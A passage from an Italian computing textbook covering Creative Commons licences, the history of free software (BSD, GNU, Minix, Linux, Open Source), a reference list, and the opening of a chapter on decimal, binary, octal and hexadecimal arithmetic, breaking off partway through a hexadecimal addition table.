Tabella 1.8. Alcune licenze diverse definite attraverso un URI, secondo Creative Commons.

Definizione	URI
dominio pubblico	⟨*http://creativecommons.org/licenses/publicdomain/*⟩
GNU GPL	⟨*http://creativecommons.org/licenses/GPL/2.0/*⟩

Definizione	URI
GNU LGPL	〈*http://creativecommons.org/licenses/LGPL/2.1/* 〉

Creative Commons suggerisce l'uso di un'iconografia semplificata per dichiarare le caratteristiche di massima della licenza utilizzata. In passato, tutte le licenze scritte da Creative Commons, si associavano a un solo tipo di icona, dove si poteva solo intendere che non tutti i diritti erano riservati: . Attualmente l'iconografica è più chiara, come descritto nella tabella successiva.

Tabella 1.9. Icone suggerite da Creative Commons per dichiarare in linea di massima il genere di licenza utilizzato. Non tutte le licenze approvate dal Creative Commons appaiono in questa tabella.

Licenza	Icona associata	Licenza	Icona associata
dominio pubblico			
attribution		*attribution,* *no derivatives work*	
attribution, *non-commercial,* *no derivatives work*		*attribution,* *non-commercial*	
attribution, *non-commercial,* *share alike*		*attribution,* *share alike*	
GNU GPL		GNU LGPL	

All'interno di un file HTML (o XHTML) è possibile inserire del codice che consente a un motore di ricerca o a un navigatore di classificarne il contenuto, in linea di massima, dal punto di vista legale, riguardo alle facoltà concesse o meno a chi ne deve fruirne.

1.6 Percorso storico

Il «software libero» è un concetto semplice e intuitivo, ma il percorso attraverso cui si conquista una libertà è sempre difficile. Se oggi questo tipo di software rappresenta concretamente una scelta possibile, lo si deve all'azione di persone che con impegno hanno agito, **legalmente**, verso il raggiungimento di questo obiettivo. Confondere invece la facoltà tecnica di copiare ciò che si vuole, soprattutto ciò che la legge vieta, non è libertà, ma dipendenza dallo stesso sistema che si crede di combattere.

1.6.1 BSD

Negli anni 1970, i primi utenti di UNIX sono state le università, a cui in particolare questo sistema operativo è stato fornito a costo contenuto, con i sorgenti, ma senza alcun tipo di supporto tecnico, né alcuna garanzia. Proprio questa assenza di sostegno da parte della casa che lo aveva sviluppato originariamente, ha stimolato la cooperazione tra gli utenti competenti, in pratica tra le università. Il maggior fermento intorno a UNIX si è concentrato presso l'università della California a Berkeley, dove a partire dal 1978 si è cominciato a distribuire una variante di questo sistema operativo, con il nome BSD, ovvero *Berkeley software distribution*. Per questo software è nata una licenza d'uso che rimane il progenitore della filosofia del software libero: la licenza BSD. Per molto tempo, la variante BSD di UNIX è rimasta relegata all'ambito universitario o a quello delle aziende che avevano acquistato i diritti per utilizzare il codice sorgente dello UNIX originale. Ciò fino a quando si è sentita l'esigenza di ripulire lo Unix BSD dal codice proprietario.

Il risultato iniziale è stato 386BSD, pubblicato nel 1992 con la versione 0.1. Tuttavia, questa edizione libera dello Unix BSD non ha avuto vita facile, dal momento che da quel punto sono iniziate delle contese giudiziarie sulla proprietà di alcune porzioni di codice ritenute libere (a torto o a ragione che fosse). Dai problemi di 386BSD che hanno causato la sua eliminazione dalla distribuzione pubblica, si sono sviluppati altri progetti indipendenti per ottenere, finalmente, un sistema BSD libero. Il primo di questi è stato nominato NetBSD, al quale si è aggiunto subito dopo FreeBSD e più tardi anche OpenBSD. Tuttavia, i problemi legali non sono terminati con 386BSD: la variante denominata FreeBSD è stata «libera» solo all'inizio del 1995 con la versione 2.0. Il pezzo seguente è tratto da *A Brief History of FreeBSD* di Jordan K. Hubbard, marzo 1998.

> The first CDROM (and general net-wide) distribution was FreeBSD 1.0, released in December of 1993. This was based on the 4.3BSD-Lite ("Net/2") tape from U.C. Berkeley, with many components also provided by 386BSD and the Free Software Foundation. It was a fairly reasonable success for a first offering, and we followed it with the highly successful FreeBSD 1.1 release in May of 1994.
>
> Around this time, some rather unexpected storm clouds formed on the horizon as Novell and U.C. Berkeley settled their long-running lawsuit over the legal status of the Berkeley Net/2 tape. A condition of that settlement was U.C. Berkeley's concession that large parts of Net/2 were "encumbered" code and the property of Novell, who had in turn acquired it from AT&T some time previously. What Berkeley got in return was Novell's "blessing" that the 4.4BSD-Lite release, when it was finally released, would be declared unencumbered and all existing Net/2 users would be strongly encouraged to switch. This included FreeBSD, and the project was given until the end of July 1994 to stop shipping its own Net/2 based product. Under the terms of that agreement, the project was allowed one last release before the deadline, that release being FreeBSD 1.1.5.1.
>
> FreeBSD then set about the arduous task of literally re-inventing itself from a completely new and rather incomplete set of 4.4BSD-Lite bits. The "Lite" releases were light in part because Berkeley's CSRG had removed large chunks of code required for actually constructing a bootable running system (due to various legal requirements) and the fact that the Intel port of 4.4 was highly incomplete. It took the project until December of 1994 to make this transition, and in January of 1995 it released FreeBSD 2.0 to the net and on CDROM. Despite being still more than a little rough around the edges, the release was a significant success and was followed by the more robust and easier to install FreeBSD 2.0.5 release in June of 1995.

Allo stato attuale, le tre varianti *BSD sono tutte riconducibili a BSD 4.4-Lite, dove le differenze più importanti riguardano le piattaforme hardware in cui possono essere installate e l'origine della distribuzione.

1.6.2 GNU

Nel 1985, Richard Stallman fonda la FSF, *Free software foundation*, con lo scopo preciso di creare e diffondere la filosofia del «software libero». Libertà intesa come la possibilità data agli utenti di distribuire e modificare il software a seconda delle proprie esigenze e di poter distribuire anche le modifiche fatte. Queste idee filosofiche si sono tradotte nella redazione di un contratto di licenza d'uso, la General Public License (appendice B), studiato appositamente per proteggere il software libero in modo da non poter essere accaparrato da chi poi potrebbe impedirne la diffusione libera. Per questo motivo, oggi, il copyright di software protetto in questo modo, viene definito ***copyleft***.

Il software libero richiede delle basi, prima di tutto il sistema operativo. In questo senso, l'intento pratico di Richard Stallman è stato quello di realizzare, con l'aiuto di volontari, un sistema operativo completo. Con questo obiettivo è nato il progetto GNU (*Gnu's not Unix*), puntando inizialmente alla realizzazione di un compilatore C, quindi alla costruzione di programmi di servizio, soprattutto quelli standard di un sistema Unix tipico, lasciando per un momento successivo lo sviluppo di un kernel.[1] Così facendo, il progetto GNU ha dato vita subito a una grande quantità di software utilizzabile sulla maggior parte delle piattaforme Unix, indirizzando implicitamente il software libero nella direzione dei sistemi di questo tipo.

1.6.3 Minix

Alla fine degli anni 1980, il professor Andrew S. Tanenbaum sviluppa Minix, un sistema operativo Unix per elaboratori x86-16,[2] realizzato specificamente per uso didattico. Era sufficiente acquistare il libro a cui era abbinato e si otteneva un sistema completo di sorgenti. Tuttavia, Minix aveva un problema: poteva essere usato, distribuito e modificato, solo per fini didattici.

I diritti di questo sistema operativo sono stati ceduti inizialmente alla casa editrice del libro con il quale questo veniva diffuso; tuttavia, nell'anno 2000, Andrew S. Tanenbaum ha ottenuto dalla casa editrice di poter distribuire il sistema Minix con una licenza simile a quella di BSD.

1.6.4 Linux

Linux nasce all'inizio degli anni 1990 come un progetto personale di studio delle funzionalità di multiprogrammazione dei microprocessori x86-32 da parte di Linus Torvalds, all'epoca uno studente all'università di Helsinki, in Finlandia. Inizialmente il lavoro di Linus Torvalds si basava su un sistema Minix, riscrivendo il kernel e adattando successivamente il compilatore e i programmi sviluppati dal progetto GNU. L'idea di Linus Torvalds era quella di realizzare «a better Minix than Minix», ovvero, voleva costruire qualcosa di meglio del sistema Minix.

Dopo molto lavoro, Linus Torvalds arriva a un sistema minimo e soprattutto autonomo da Minix. Il 5 ottobre 1991 invia il messaggio seguente al gruppo di discussione `comp.os.minix`.

> Do you pine for the nice days of Minix-1.1, when men were men and wrote their own device drivers?
>
> Are you without a nice project and just dying to cut your teeth on a OS you can try to modify for your

> needs? Are you finding it frustrating when everything works on Minix? No more all-nighters to get a nifty program working? Then this post might be just for you.
>
> As I mentioned a month ago, I'm working on a free version of a Minix-lookalike for AT-386 computers. It has finally reached the stage where it's even usable (though may not be depending on what you want), and I am willing to put out the sources for wider distribution. It is just version 0.02...but I've successfully run bash, gcc, gnu-make, gnu-sed, compress, etc. under it.

Linux ha coinvolto in breve tempo un numero molto grande di persone, unite dal fatto che si trattava di un progetto libero da qualunque restrizione legale al suo utilizzo, alla sua diffusione, alla possibilità di modificarlo ecc. In pratica, la fortuna di Linux rispetto a Minix, è stata quella di avere scelto subito la licenza GNU-GPL (appendice B), quella che ancora oggi rappresenta la difesa ideale per il software che viene scritto perché sia a disposizione di tutti. Tuttavia, per il successo del kernel Linux è stato determinante il lavoro parallelo del progetto GNU, il quale ha dato al primo tutto quello che serve per un sistema operativo completo: GNU/Linux appunto.

1.6.5 Internet Archive

Nel 1996 viene fondato Internet Archive (⟨*http://archive.org*⟩), con lo scopo di creare una libreria digitale di tutte le opere espresse in tale forma, purché possano essere ripubblicate. Tra le altre cose, presso Internet Archive è possibile pubblicare ogni tipo di lavoro in forma elettronica, purché se ne conceda l'uso o purché siano venuti meno i diritti di autore relativi; inoltre è disponibile un archivio storico dei siti individuati e scanditi nell'ambito dell'intera rete Internet, con esclusione di quelli che, attraverso un file '`robot.txt`' o con richiesta formale, si siano esclusi espressamente.

1.6.6 Open Source

Una volta compresa l'importanza del software libero, nel momento in cui hanno cominciato a giocarsi interessi economici, o di altro genere, si è posto il problema di definire in modo preciso e inequivocabile cosa sia effettivamente il «software libero». In questa direzione si è distinto particolarmente il gruppo che pubblica la distribuzione GNU/Linux Debian, nel definire dei punti che devono essere rispettati per l'inserimento del software nella distribuzione stessa. Così, nel 1998, nasce la definizione Open Source, a identificare i principi secondo cui il software può essere ritenuto «libero», riutilizzando gran parte del lavoro del gruppo Debian (⟨*http://www.opensource.org*⟩).

Sulla scia della definizione Open Source, successivamente è apparso l'uso dell'acronimo OSS, per *open source software*, a cui si sono affiancati anche FOSS, per *free open source software*, e FLOSS, per *free-liberal open source software*, ma sostanzialmente equivalenti.

1.6.7 Creative Commons

Come già descritto nella sezione 1.5, nel 2001 viene fondato Creative Commons (⟨*http://creativecommons.org*⟩) con lo scopo di trasferire alcuni principi del software libero a opere artistiche di tipo differente. Il lavoro importante di Creative Commons sta nello studio delle problematiche legali che riguardano le opere artistiche in generale, classificando diversi tipi di esigenze da parte degli autori, le quali si traducono in pratica in diversi tipi di licenza, ognuna con un diverso grado di «libertà».

1.6.8 Open Invention Network

Alla fine del 2005, un gruppo di aziende importanti che offrono prodotti e servizi basati sul kernel Linux, fondano Open Invention Network (OIN), con lo scopo di raccogliere un insieme di brevetti, utili a difendere i sistemi basati su kernel Linux. In pratica, viene concesso l'uso delle idee alla base di tali brevetti, purché non si attacchino in giudizio i sistemi operativi basati su kernel Linux, per l'uso di idee contenute in altri brevetti.

1.6.9 Standard Unix

Attorno ai sistemi operativi che si rifanno al modello di Unix, quello da cui ha origine il concetto di software libero, si sono definiti due standard fondamentali: il linguaggio C (ISO/IEC 9899) e la definizione del sistema «Unix» standard, noto come POSIX negli anni 1990 (*Portable operating system interface*) e poi come SUS negli anni 2000 (*Single unix specification*). Per quanto riguarda Unix si distinguono dei livelli, definiti come POSIX.1, POSIX.2,... SUSv1, SUSv2,... che sono raccolti all'interno di standard IEEE e ISO; in particolare IEEE 1003.1 e ISO/IEC 9945. Le definizioni di POSIX.1-2001 e SUSv3 sono allineate.

La standardizzazione del linguaggio C e dei sistemi Unix è un veicolo importante per la consapevolezza del valore dei sistemi Unix in qualità di sistemi liberi.

1.7 Un Richard Stallman «virtuale»

Libertà vuol dire poter scegliere. Gli utenti di sistemi Unix «liberi», hanno la facoltà di usare il software che ritengono più appropriato alle loro esigenze, libero o proprietario che sia. Tuttavia, quando si installa un sistema completo, assieme a tanto software applicativo, non si è sempre nelle condizioni di capire cosa è libero e cosa non lo è, mancando così quella facoltà di una scelta responsabile.

La distribuzione GNU/Linux Debian cerca di classificare in modo molto preciso il software che la compone, per informare rapidamente l'utilizzatore su ciò che si accinge a installare. La definizione di quello che per Debian è «libero» corrisponde praticamente alla definizione Open Source.[3]

Il lavoro di classificazione di Debian è molto importante per l'utilizzatore distratto. In particolare, si può scandire quanto installato con il programma '**vrms**', il quale sta letteralmente per *Virtual RMS*, ovvero, scherzosamente, un Richard Stallman virtuale. A titolo di esempio viene mostrato il resoconto che potrebbe essere generato da tale programma:

$ **vrms** [*Invio*]

```
                Non-free packages installed on nanohost

  lha                          lzh archiver
    Reason: No modifications allowed, non-network distributions problematic
  pine                         An e-mail reader with MIME and IMAP support.
  unrar                        Unarchiver for .rar files (non-free version)
    Reason: Modifications problematic

    3 non-free packages, 0.2% of 1343 installed packages.
```

Riquadro 1.11. Definizioni alternative di «software libero».

Definizione	Significato letterale
OSS	*Open Source software*
OSS/FS	*Open Source software/Free software*
F/OSS	*Free/Open Source software*
FOSS	*Free Open Source software*
FLOSS	*Free Liberal Open Source software*
software libre	
unfettered software	

1.8 Riferimenti

- Stop!, *Guida per scuole e famiglie al diritto d'autore*
  ⟨http://stop.zona-m.net/it/node/121 ⟩
- Wikipedia, *Free software*
  ⟨http://en.wikipedia.org/wiki/Free_software ⟩
- Wikipedia, *Alternative terms for free software*
  ⟨http://en.wikipedia.org/wiki/FOSS ⟩
- *Categories of Free and Non-Free Software*
  ⟨http://www.gnu.org/philosophy/categories.html ⟩
- *Various Licenses and Comments about Them*
  ⟨http://www.gnu.org/philosophy/license-list.html ⟩
- *The Free Software Definition*
  ⟨http://www.gnu.org/philosophy/free-sw.html ⟩
- *Some Confusing or Loaded Words and Phrases that are Worth Avoiding*
  ⟨http://www.gnu.org/philosophy/words-to-avoid.html ⟩
- Eben Moglen, *Enforcing the GNU GPL*
  ⟨http://www.gnu.org/philosophy/enforcing-gpl.html ⟩
- *Frequently Asked Questions about the GNU GPL*
  ⟨http://www.gnu.org/licenses/gpl-faq.html ⟩
- *Debian Social Contract*
  The Debian Free Software Guidelines (DFSG)
  ⟨http://www.debian.org/social_contract ⟩
- *Debian Free Software Guidelines (DFSG) FAQ*
  ⟨http://people.debian.org/~bap/dfsg-faq.html ⟩
- *Artlibre.org*
  ⟨http://artlibre.org ⟩
- *Patent Commons*
  ⟨http://patentcommons.org ⟩

- *Creative Commons*
  ⟨http://creativecommons.org/⟩
- *Creative Commons Licenses*
  ⟨http://creativecommons.org/licenses/⟩
  ⟨http://creativecommons.org/choose/⟩
- *Internet Archive*
  ⟨http://archive.org⟩
- Wikipedia, *History of free software*
  ⟨http://en.wikipedia.org/wiki/History_of_free_software⟩
- John Holden, *YAPP - Yet another PDP-11 Page*
  ⟨http://www.psych.usyd.edu.au/pdp-11/⟩
- *Unix Programmer's Manual*, prima edizione, 1971
  ⟨http://cm.bell-labs.com/cm/cs/who/dmr/1stEdman.html⟩
- *Unix Seventh Edition Manual*, 1979
  ⟨http://plan9.bell-labs.com/7thEdMan/index.html⟩
- *FreeBSD*, *NetBSD*, *OpenBSD*
  ⟨http://www.freebsd.org/⟩
  ⟨http://www.netbsd.org/⟩
  ⟨http://www.openbsd.org/⟩
- *The Open Source Page*
  ⟨http://www.opensource.org/⟩
- *The GNU Project and the Free Software Foundation (FSF)*
  ⟨http://www.gnu.org/⟩
  ⟨http://www.fsf.org/⟩
- *Linux OnLine -- The Linux Home Page*
  ⟨http://www.linux.org/⟩
- Stephen White, *A Brief History of Computing*
  ⟨http://trillian.randomstuff.org.uk/~stephen/history/timeline.html⟩
- Éric Lévénez, *Unix History*
  ⟨http://www.levenez.com/unix/⟩
- Andy Tanenbaum, 20 May 2004, *Some Notes on the "Who wrote Linux" Kerfuffle*
  ⟨http://www.cs.vu.nl/~ast/brown/⟩
- Andy Tanenbaum, 21 May 2004, *Ken Brown's Motivation*
  ⟨http://www.cs.vu.nl/~ast/brown/followup/⟩
- Andy Tanenbaum, 20 May 2004, *Comparison of Linux code with MINIX code*
  ⟨http://www.cs.vu.nl/~ast/brown/codecomparison/⟩

- Andy Tanenbaum, 6 June 2004, *Rebuttal to Ken Brown*

  ⟨*http://www.cs.vu.nl/~ast/brown/rebuttal/* ⟩

- Wikipedia, *SCO v. IBM*

  ⟨*http://en.wikipedia.org/wiki/SCO_v._IBM* ⟩

- *Open Invention Network*

  ⟨*http://openinventionnetwork.com* ⟩

- Pagina di manuale *standards(7)*

  ⟨*http://linux.die.net/man/7/standards* ⟩

- Brian W. Kernigham, Dennis M. Ritchie, *The C programming language*, prima edizione, Prentice-Hall 1978[4]

  ⟨*http://cm.bell-labs.com/cm/cs/cbook/* ⟩).

- ANSI C, *X3.159-1989*

  ISO C, *ISO/IEC 9899:1990*

  I due standard, definiti tra il 1998 e il 1990, si influenzano a vicenda e sono sostanzialmente equivalenti.

- The Open Group, *Single UNIX Specification*

  ⟨*http://www.unix.org/single_unix_specification/* ⟩

- The Open Group, *The Open Group Base Specifications Issue 6*, IEEE Std 1003.1, 2004 Edition

  ⟨*http://www.opengroup.org/onlinepubs/009695399/download/* ⟩

- Wikipedia, *Unix*

  ⟨*http://en.wikipedia.org/wiki/Unix* ⟩

- C99, *ISO/IEC 9899:TC2*

  ⟨*http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1124.pdf* ⟩).

- Dennis M. Ritchie, *Dennis M. Ritchie home page*

  ⟨*http://cm.bell-labs.com/cm/cs/who/dmr/index.html* ⟩

[1] Nel 1990 inizia lo sviluppo del kernel Hurd e intorno al 2000 inizia la distribuzione del sistema GNU/Hurd, ovvero del sistema GNU basato su kernel Hurd.

[2] Successivamente Minix 2 viene distribuito in due versioni, una per architettura x86-16 e l'altra per x86-32, mentre Minix 3 abbandona l'architettura x86-16.

[3] Il fatto che si prenda come riferimento la definizione di Open Source per valutare i pacchetti applicativi installati, comporta che certa documentazione, preparata anch'essa come se si trattasse di pacchetti applicativi, possa essere classificata come «non libera», ma ciò solo perché il metro di riferimento è quello che riguarda il software.

[4] Questo è il primo documento che definisce il linguaggio C, per ciò che oggi è noto come «K&R C», ovvero il linguaggio C di Kernigham e Ritchie. Di questo libro esiste una seconda edizione, del 1988, rivista secondo le convenzioni in corso di definizione dallo standard ANSI C.

Capitolo 2

Aritmetica elementare

2.1 Sistemi di numerazione 35
2.1.1 Sistema decimale 36
2.1.2 Sistema binario 37
2.1.3 Sistema ottale 38
2.1.4 Sistema esadecimale 40
2.2 Conversioni numeriche di valori interi 42
2.2.1 Numerazione ottale 43
2.2.2 Numerazione esadecimale 44
2.2.3 Numerazione binaria 45
2.2.4 Conversione tra ottale, esadecimale e binario 47
2.3 Conversioni numeriche di valori non interi 49
2.3.1 Conversione da base 10 ad altre basi 49
2.3.2 Conversione a base 10 da altre basi 50
2.3.3 Conversione tra ottale, esadecimale e binario 52
2.4 Le operazioni elementari e il sistema binario 52
2.4.1 Complemento alla base di numerazione 52
2.4.2 Complemento a uno e complemento a due 54
2.4.3 Addizione binaria 54
2.4.4 Sottrazione binaria 55
2.4.5 Moltiplicazione binaria 55
2.4.6 Divisione binaria 56
2.5 Riferimenti 57

La natura binaria degli elaboratori elettronici richiede la conoscenza di alcuni concetti fondamentali per la rappresentazione e il trattamento dei valori numerici.

2.1 Sistemi di numerazione

I sistemi di numerazione più comuni sono di tipo posizionale, definiti in tal modo perché la posizione in cui appaiono le cifre ha significato. I sistemi di numerazione posizionali si distinguono per la ***base di numerazione***.

2.1.1 Sistema decimale

Il sistema di numerazione decimale è tale perché utilizza dieci simboli, pertanto è un sistema ***in base dieci***. Trattandosi di un sistema di numerazione posizionale, le cifre numeriche, da «0» a «9», vanno considerate secondo la collocazione relativa tra di loro.

A titolo di esempio si può prendere il numero 745, che eventualmente va rappresentato in modo preciso come 745_{10}: secondo l'esperienza comune si comprende che si tratta di settecento, più quaranta, più cinque, ovvero, settecentoquarantacinque. Si arriva a questo valore sapendo che la prima cifra a destra rappresenta delle unità (cinque unità), la seconda cifra a partire da destra rappresenta delle decine (quattro decine), la terza cifra a partire da destra rappresenta delle centinaia (sette centinaia).

Figura 2.1. Esempio di scomposizione di un numero in base dieci.

745_{10} → 7×10^{2} + 4×10^{1} + 5×10^{0}

→ sette centinaia + quattro decine + cinque unità

→ settecento + quaranta + cinque

→ settecentoquarantacinque

Figura 2.2. Scomposizione di un numero in base dieci.

10^9	10^8	10^7	10^6	10^5	10^4	10^3	10^2	10^1	10^0
0	0	0	0	0	0	0	7	4	5

Tabella 2.3. Tabellina dell'addizione con i numeri in base dieci.

+	0	1	2	3	4	5	6	7	8	9	10
0	0	1	2	3	4	5	6	7	8	9	10
1	1	2	3	4	5	6	7	8	9	10	11
2	2	3	4	5	6	7	8	9	10	11	12
3	3	4	5	6	7	8	9	10	11	12	13
4	4	5	6	7	8	9	10	11	12	13	14
5	5	6	7	8	9	10	11	12	13	14	15
6	6	7	8	9	10	11	12	13	14	15	16
7	7	8	9	10	11	12	13	14	15	16	17
8	8	9	10	11	12	13	14	15	16	17	18
9	9	10	11	12	13	14	15	16	17	18	19
10	10	11	12	13	14	15	16	17	18	19	20

Tabella 2.4. Tabellina della moltiplicazione con i numeri in base dieci.

×	0	1	2	3	4	5	6	7	8	9	10
0	0	0	0	0	0	0	0	0	0	0	0
1	0	1	2	3	4	5	6	7	8	9	10
2	0	2	4	6	8	10	12	14	16	18	20
3	0	3	6	9	12	15	18	21	24	27	30
4	0	4	8	12	16	20	24	28	32	36	40
5	0	5	10	15	20	25	30	35	40	45	50
6	0	6	12	18	24	30	36	42	48	54	60
7	0	7	14	21	28	35	42	49	56	63	70
8	0	8	16	24	32	40	48	56	64	72	80
9	0	9	18	27	36	45	54	63	72	81	90
10	0	10	20	30	40	50	60	70	80	90	100

2.1.2 Sistema binario

Il sistema di numerazione binario (in base due), utilizza due simboli: «0» e «1».

Figura 2.5. Esempio di scomposizione di un numero in base due.

$$10010_2 \rightarrow 1\times2^4 + 0\times2^3 + 0\times2^2 + 1\times2^1 + 0\times2^0$$

$$\rightarrow 1\times16 + 0\times8 + 0\times4 + 1\times2 + 0\times1$$

$$\rightarrow 18_{10}$$

Figura 2.6. Scomposizione di un numero in base due.

2^9	2^8	2^7	2^6	2^5	2^4	2^3	2^2	2^1	2^0
0	0	0	0	0	1	0	0	1	0

Tabella 2.7. Tabellina dell'addizione con i numeri in base due.

+	0_2	1_2	10_2
0_2	0_2	1_2	10_2
1_2	1_2	10_2	11_2
10_2	10_2	11_2	100_2

Figura 2.8. Esempio di somma in base due.

$$\begin{array}{r} 11100_2 + \\ 1011_2 = \\ \hline 100111_2 \end{array} \qquad \begin{array}{r} 28_{10} + \\ 11_{10} = \\ \hline 39_{10} \end{array}$$

Tabella 2.9. Tabellina della moltiplicazione con i numeri in base due.

×	0_2	1_2	10_2
0_2	0_2	0_2	0_2
1_2	0_2	1_2	10_2
10_2	0_2	10_2	100_2

Figura 2.10. Esempio di moltiplicazione in base due.

$$\begin{array}{r} 11001_2 \times \\ 1101_2 = \\ \hline 11001_2 \\ 00000_2 \\ 11001_2 \\ 11001_2 \\ \hline 101000101_2 \end{array} \qquad \begin{array}{r} 25_{10} \times \\ 13_{10} = \\ \hline 75_{10} \\ 25_{10} \\ \hline 325_{10} \end{array}$$

2.1.3 Sistema ottale

Il sistema di numerazione ottale (in base otto), utilizza otto simboli: da «0» a «7».

Figura 2.11. Esempio di scomposizione di un numero in base otto.

$$354_8 \rightarrow 3\times8^2 + 5\times8^1 + 4\times8^0$$
$$\rightarrow 3\times64 + 5\times8 + 4\times1$$
$$\rightarrow 236_{10}$$

Figura 2.12. Scomposizione di un numero in base otto.

8^9	8^8	8^7	8^6	8^5	8^4	8^3	8^2	8^1	8^0
0	0	0	0	0	0	0	3	5	4

Tabella 2.13. Tabellina dell'addizione con i numeri in base otto.

+	0_8	1_8	2_8	3_8	4_8	5_8	6_8	7_8	10_8
0_8	0_8	1_8	2_8	3_8	4_8	5_8	6_8	7_8	10_8
1_8	1_8	2_8	3_8	4_8	5_8	6_8	7_8	10_8	11_8
2_8	2_8	3_8	4_8	5_8	6_8	7_8	10_8	11_8	12_8
3_8	3_8	4_8	5_8	6_8	7_8	10_8	11_8	12_8	13_8
4_8	4_8	5_8	6_8	7_8	10_8	11_8	12_8	13_8	14_8
5_8	5_8	6_8	7_8	10_8	11_8	12_8	13_8	14_8	15_8
6_8	6_8	7_8	10_8	11_8	12_8	13_8	14_8	15_8	16_8
7_8	7_8	10_8	11_8	12_8	13_8	14_8	15_8	16_8	17_8
10_8	10_8	11_8	12_8	13_8	14_8	15_8	16_8	17_8	20_8

Figura 2.14. Esempio di addizione in base otto.

$$\begin{array}{r} 134_8 \; + \\ 27_8 \; = \\ \hline 163_8 \end{array} \qquad \begin{array}{r} 92_{10} \; + \\ 23_{10} \; = \\ \hline 115_{10} \end{array}$$

Tabella 2.15. Tabellina della moltiplicazione con i numeri in base otto.

×	0_8	1_8	2_8	3_8	4_8	5_8	6_8	7_8	10_8
0_8	0_8	0_8	0_8	0_8	0_8	0_8	0_8	0_8	0_8
1_8	0_8	1_8	2_8	3_8	4_8	5_8	6_8	7_8	10_8
2_8	0_8	2_8	4_8	6_8	10_8	12_8	14_8	16_8	20_8
3_8	0_8	3_8	6_8	11_8	14_8	17_8	22_8	25_8	30_8
4_8	0_8	4_8	10_8	14_8	20_8	24_8	30_8	34_8	40_8
5_8	0_8	5_8	12_8	17_8	24_8	31_8	36_8	43_8	50_8
6_8	0_8	6_8	14_8	22_8	30_8	36_8	44_8	52_8	60_8
7_8	0_8	7_8	16_8	25_8	34_8	43_8	52_8	61_8	70_8
10_8	0_8	10_8	20_8	30_8	40_8	50_8	60_8	70_8	100_8

Figura 2.16. Esempio di moltiplicazione con i numeri in base otto.

$$
\begin{array}{r}
247_8 \times \\
123_8 = \\
\hline
765_8 \\
516_8 \\
247_8 \\
\hline
33045_8
\end{array}
\qquad
\begin{array}{r}
167_{10} \times \\
83_{10} = \\
\hline
501_{10} \\
1336_{10} \\
\hline
13861_{10}
\end{array}
$$

2.1.4 Sistema esadecimale

Il sistema di numerazione esadecimale (in base sedici), utilizza sedici simboli: le cifre numeriche da «0» a «9» e le lettere (maiuscole) dalla «A» alla «F».

Figura 2.17. Esempio di scomposizione di un numero in base sedici.

$$9C8_{16} \rightarrow 9 \times 16^2 + 12 \times 16^1 + 8 \times 16^0$$
$$\rightarrow 9 \times 256 + 12 \times 16 + 8 \times 1$$
$$\rightarrow 2504_{10}$$

Figura 2.18. Scomposizione di un numero in base sedici.

16^9	16^8	16^7	16^6	16^5	16^4	16^3	16^2	16^1	16^0
0	0	0	0	0	0	0	9	C	8

Tabella 2.19. Tabellina dell'addizione con i numeri in base sedici.

+	0_{16}	1_{16}	2_{16}	3_{16}	4_{16}	5_{16}	6_{16}	7_{16}	8_{16}	9_{16}	A_{16}	B_{16}	C_{16}	D_{16}	E_{16}	F_{16}	10_{16}
0_{16}	0_{16}	1_{16}	2_{16}	3_{16}	4_{16}	5_{16}	6_{16}	7_{16}	8_{16}	9_{16}	A_{16}	B_{16}	C_{16}	D_{16}	E_{16}	F_{16}	10_{16}
1_{16}	1_{16}	2_{16}	3_{16}	4_{16}	5_{16}	6_{16}	7_{16}	8_{16}	9_{16}	A_{16}	B_{16}	C_{16}	D_{16}	E_{16}	F_{16}	10_{16}	11_{16}
2_{16}	2_{16}	3_{16}	4_{16}	5_{16}	6_{16}	7_{16}	8_{16}	9_{16}	A_{16}	B_{16}	C_{16}	D_{16}	E_{16}	F_{16}	10_{16}	11_{16}	12_{16}
3_{16}	3_{16}	4_{16}	5_{16}	6_{16}	7_{16}	8_{16}	9_{16}	A_{16}	B_{16}	C_{16}	D_{16}	E_{16}	F_{16}	10_{16}	11_{16}	12_{16}	13_{16}
4_{16}	4_{16}	5_{16}	6_{16}	7_{16}	8_{16}	9_{16}	A_{16}	B_{16}	C_{16}	D_{16}	E_{16}	F_{16}	10_{16}	11_{16}	12_{16}	13_{16}	14_{16}
5_{16}	5_{16}	6_{16}	7_{16}	8_{16}	9_{16}	A_{16}	B_{16}	C_{16}	D_{16}	E_{16}	F_{16}	10_{16}	11_{16}	12_{16}	13_{16}	14_{16}	15_{16}
6_{16}	6_{16}	7_{16}	8_{16}	9_{16}	A_{16}	B_{16}	C_{16}	D_{16}	E_{16}	F_{16}	10_{16}	11_{16}	12_{16}	13_{16}	14_{16}	15_{16}	16_{16}
7_{16}	7_{16}	8_{16}	9_{16}	A_{16}	B_{16}	C_{16}	D_{16}	E_{16}	F_{16}	10_{16}	11_{16}	12_{16}	13_{16}	14_{16}	15_{16}	16_{16}	17_{16}
8_{16}	8_{16}	9_{16}	A_{16}	B_{16}	C_{16}	D_{16}	E_{16}	F_{16}	10_{16}	11_{16}	12_{16}	13_{16}	14_{16}	15_{16}	16_{16}	17_{16}	18_{16}
9_{16}	9_{16}	A_{16}	B_{16}	C_{16}	D_{16}	E_{16}	F_{16}	10_{16}	11_{16}	12_{16}	13_{16}	14_{16}	15_{16}	16_{16}	17_{16}	18_{16}	19_{16}
A_{16}	A_{16}	B_{16}	C_{16}	D_{16}	E_{16}	F_{16}	10_{16}	11_{16}	12_{16}	13_{16}	14_{16}	15_{16}	16_{16}	17_{16}	18_{16}	19_{16}	$1A_{16}$
B_{16}	B_{16}	C_{16}	D_{16}	E_{16}	F_{16}	10_{16}	11_{16}	12_{16}	13_{16}	14_{16}	15_{16}	16_{16}	17_{16}	18_{16}	19_{16}	$1A_{16}$	$1B_{16}$
C_{16}	C_{16}	D_{16}	E_{16}	F_{16}	10_{16}	11_{16}	12_{16}	13_{16}	14_{16}	15_{16}	16_{16}	17_{16}	18_{16}	19_{16}	$1A_{16}$	$1B_{16}$	$1C_{16}$
D_{16}	D_{16}	E_{16}	F_{16}	10_{16}	11_{16}	12_{16}	13_{16}	14_{16}	15_{16}	16_{16}	17_{16}	18_{16}	19_{16}	$1A_{16}$	$1B_{16}$	$1C_{16}$	$1D_{16}$
E_{16}	E_{16}	F_{16}	10_{16}	11_{16}	12_{16}	13_{16}	14_{16}	15_{16}	16_{16}	17_{16}	18_{16}	19_{16}	$1A_{16}$	$1B_{16}$	$1C_{16}$	$1D_{16}$	$1E_{16}$
